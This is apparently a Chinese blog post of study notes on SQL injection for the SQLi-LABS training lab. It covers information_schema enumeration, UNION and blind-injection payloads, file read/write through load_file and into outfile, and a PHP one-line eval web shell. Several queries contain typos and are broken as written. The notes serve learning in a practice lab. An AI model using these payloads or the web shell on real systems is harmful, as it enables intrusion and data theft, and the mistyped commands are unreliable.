loekr的摘要机器人
TianliGPT
生成中...

sql注入

课程来自于

SQLi-LABS 1-4 mysql基本语句:

查库:select group_concat(schema_name) form information_schema.schemata
group_concat()---避免列举

查表:select table_name form information_schema.tables where table_schema=‘表名’


查列:select column_name form information_schema.columns where table_name='列名'

查字段:select username,password,id from security.表名

判断几列:order bu n;

回显:union select 1,2,3--+
SQL

补充:

group_concat()详解

回显示范:

SQLi-LABS 5 mysql语句补充

函数

作用

left()函数

left(database(),1)='s'

left(a.b)从左侧截取a的前b位,正确则返回1,错误则返回0

regexp函数:

select user() regexp 'r'

user()的结果是root,regexp为匹配root的正则表达式

like函数

select user() like ‘ro%

匹配与regexp相似。

substr(a.b.c) 函数

select substr() xxxx

substr(a.b.c)从位置b开始,截取a字符串c位长度

ascii()

将某个字符串转化为asci值

chr(“数字)或者是ord(字母)使

用python中的两个函数可以判断当前的asci值是多少

对于security数据库

语句

作用

select left(database(),1)='s';

前1位是否是s

select database()regexp's';

匹配第一个字符是否是s

select database() like‘s%';

匹配第一个字符是否是s

select substr((select database()),1,1)='s';

匹配第一个字符是否是s

select substr((select database()),1,3)=‘sec';

匹配前三个个字符是否是sec

select asci(substr((select database()),1,1);

直接回显115 或者是:

select asci(substr((select database()),1,1)>110;

如果大于110, 就会返回1, 否则返回0.

SQLi-LABS 5 二分法判断

SQLi-LABS 7知识补充

一句话木马:php版本:<?php @eval(S_POST["crow"]);?>其中crow是密码

load file()

取本地文件selectloadfile('C:\lphpstudy\\PHPTutorial\www\\sali\\Less-7\\test.txt');

into outfile

写文件

用法:select 'mysql is very good’ into outfile 'test1.txt';

文件位置:C:\phpstudy\PHPTutorial\MySQL\data